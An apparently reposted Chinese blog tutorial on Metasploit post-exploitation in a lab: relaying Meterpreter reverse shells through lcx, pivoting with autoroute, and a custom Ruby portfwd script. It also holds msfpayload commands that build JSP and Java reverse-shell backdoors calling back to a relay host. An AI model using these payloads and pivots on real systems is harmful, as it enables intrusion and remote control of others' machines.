Metasploit – 內網連接


 

6

0x00 問題描述

在滲透測試時,metasploit往往作為后滲透工具,(因為遠程溢出越來越少).我一般都是在獲得一個webshell后,來使用metasploit進行信息采集,或者內網掃描等操作。而大多數站點都是內網ip。而本屌絲自己的機器也是內網ip,那么兩個內網ip怎么建立連接?

0x01 解決辦法

以前總是使用lcx做端口轉發連接站點的3389,是否也可以用lcx將metasploit和站點兩個內網ip進行連接?發現是可行的。具體操作步驟如下:

網絡環境:

Metasploit:192.168.7.84

目標站點:   192.168.244.148

公網ip:   192.168.7.89

我的目的是將244.148 與7.84進行連接。大概過程如下:

1.在公網ip機器上使用lcx建立監聽兩個端口600、500

2.在metasploit中使用exploit/multi/handler模塊,利用payload windows/meterpreter/bind_tcp 連接公網ip的600端口。(這相當於在公網ip上執行了windows/meterpreter/bind_tcp模塊,綁定的端口是500)

3.制作一個msfpayload 模塊選擇windows/meterpreter/reverse_tcp,連接公網ip的500端口。這樣可以將兩個機器進行連接。

   具體測試如下:

1)在公網ip上監聽兩個端口

2) 在metasploit調用exploit/multi/handler 模塊,這里使用資源加載方法,個人理解相當於windows的批處理功能。將要執行的命令存入文件,然后可以使用msf的resource功能加載,則里面的命令都會順序執行。

其中/tmp/rc/handle.rc中內容如下

然后執行exploit命令,開始執行

則此時公網連接狀態

等待客戶端進行連接。

 現在使用msfpayload生成windows/meterpreter/reverse_tcp的payload

 命令行下查看windows/meterpreter/reverse_tcp 需要的選項

需要兩個參數LHOST和LPORT,分別是要連接的ip和端口,我這里需要連接的遠程ip是192.168.7.89,端口是500

可以看到響應設置,這里有一個X,看一下表示的意思

X其實表示的是exe的X,msfpayload支持很多種語言如P表示Perl,N表示Python等。

生成了payload需要傳到目標站點上

在目標站點上執行payload,則公網的lcx開始轉發數據

獲得一個meterpreter控制台

可以開始進行執行命令了。

如果你覺得命令行用着不爽,可以直接使用run vnc命令,獲得一個gui操作。真牛叉。

初次接觸msf最令人興奮的莫過於跳板功能,通過msf添加路由功能,可以直接使用msf對本來不能訪問的內網進行連接(建立訪問連接是滲透的第一步),一旦建立連接那么就是想干什么都可以真是強大無比。

使用meterpreter的autoroute功能,即可完成該操作。首先使用get_local_subnets腳本獲得受控系統本地子網,然后使用autoroute腳本添加路由。這樣操作后就會看到添加的路由表,網關是session 3即payload程序。如果我在msf指定某個模塊的ip地址是192.168.244.*,則會通過session3 網關進行轉發,訪問到目標ip.

跟建立網絡連接的還有一個經常使用的,就是網絡映射功能,meterpreter中有一個getgui腳本(我的bt下腳本存放路徑/opt/metasploit/msf3/scripts/meterpreter里面有很多寫好的腳本,如下圖所示)

在《metasploit滲透測試指南》上說,getgui可以將遠程的3389映射到本地的指定端口,功能,這就是一個網絡映射過程。

看其使用方法,很簡單,這里我不添加用戶名和密碼,直接建立連接。運行run getgui -e -f 8080

執行后建立了連接

可以建立連接,轉發成功了。

但是在滲透測試中需求,總是在變化的,以前也有過需求,將內網的某個端口映射出來,進行連接,是否也可以做到?帶着這個問題,我看了一下getgui的實現代碼。

我沒有學過ruby,但是看了這樣代碼,很容易明白,剛才執行的run getgui -e -f 8080時,則含有-f則frwrd變量設置為true。並且保存-f后面的端口到變量lport中,而下面當frwrd為true,則會調用portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1 將遠程3389(相對於payload即是127.0.0.1)映射到本地的指定的端口。

可見建立網絡映射只需要這條命令即可。搜索該命令所在文件:

發現是在/opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb中定義的。

應該是該命令的具體實現。從參數中很容易看出來。各個參數的含義。

可以看到支持很多命令add、delete、list等。

因此,照貓畫虎。如果我想將遠程主機的10081端口映射到本地的10081端口,那怎么實現?

只需要一句話

client.run_cmd("portfwd add -L 0.0.0.0 -l 10081 -p 10081 -r 127.0.0.1")

在/opt/metasploit/msf3/scripts/meterpreter目錄下創建changeport.rb

運行一下創建的腳本

看一下端口狀態:

映射已經成功。

從剛才portfwd的命令可以知道,其支持add、delete、list命令,因此繼續豐富自己的腳本,可以實現這樣一個功能,添加端口映射、刪除端口映射、查看端口映射。照貓畫虎可以寫出如下腳本:

# Author: buchedan.org

#-------------------------------------------------------------------------------

################## Variable Declarations ##################

session = client

@@exec_opts = Rex::Parser::Arguments.new(

       "-h" => [ true, "Help menu." ],

       "-c" => [ true, "include -add -list -del. " ],

       "-l" => [ true,  "localport and it is not using." ],

       "-r" => [ true,  "remoteip of trying to connect." ],

       "-p" => [ true,  "remoteport of trying to connect." ]

)

def usage

       print_line("portfwd ")

       print_line("Usage: changeport -c add  -l <localport> -r <remoteip> -p <remoteport>")

       print_line("Usage: changeport -c list ")

       print_line("Usage: changeport -c del -l <localport> ")

       print(@@exec_opts.usage)

       raise Rex::Script::Completed

end

def message

       print_status "portfwd remoteip port to localport"

       print_status "http://buchedan.org"

end

################## MAIN ##################

# Parsing of Options

cmd  = nil

lport = nil

rip   = nil

rport = nil

@@exec_opts.parse(args) { |opt, idx, val|

       case opt

       when "-c"

              cmd = val

       when "-h"

              usage

       when "-l"

              lport = val

       when "-r"

              rip = val

       when "-p"

              rport = val

       end

}

if client.platform =~ /win32|win64/

       if args.length > 0

              # show info

              message  

              case cmd

                     when "list"

                            client.run_cmd("portfwd list")

                     when "add"

                            if (!lport or !rip or !rport)

                                   print_error("You must supply a local port, remote host, and remote port.")

                            return

                            end

                            client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}")

                            #print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}")

                     when "del"

                            if(!lport)

                                   print_error("You must supply a local port.")

                                   return

                            else

                                   client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}")

                            end

                     end

       else

              usage

       end

else

       print_error("This version of Meterpreter is not supported with this Script!")

       raise Rex::Script::Completed

end

放入到/opt/metasploit/msf3/scripts/meterpreter下

使用方法演示

可以顯示幫助信息,建立映射,顯示映射,刪除映射。當然鳥語寫的不好,只有自己能看懂。

后來驀然回首,才發現當初的自己是多么的2,原來meterpreter本身就有這個portfwd功能,可以直接使用,我真是脫褲子放屁了。完全實現了add、list與delete。

0x02 總結

  本文主要學習,使用lcx做端口轉發,將兩個內網機器(目標機器和msf)建立連接,同時使用msfpayload進行作為跳板,可以進行繼續滲透。最后是簡單實現端口映射,了解基本的mterpreter腳本編程。

這里測試幾個常用的:

Jsp版

1)生成jsp版反向連接代碼

msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.7.89 LPORT=500 R > /tmp/door.jsp

Msf中設置,然后在7.89上使用lcx轉發即可。

成功后顯示是一個命令行:

但是好像不能使用meterpreter功能。

看生成的door.jsp內容

就是將命令進行了綁定。應該不能升級到meterpreter了。

Jar包版

1)創建jar

msfpayload java/meterpreter/reverse_tcp  LHOST=192.168.7.89  LPORT=500 R > /tmp/door.jar

公網ip lcx開始監聽兩端口

Msf設置

在客戶端運行jar即可

貌似運行的還很穩定正常


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM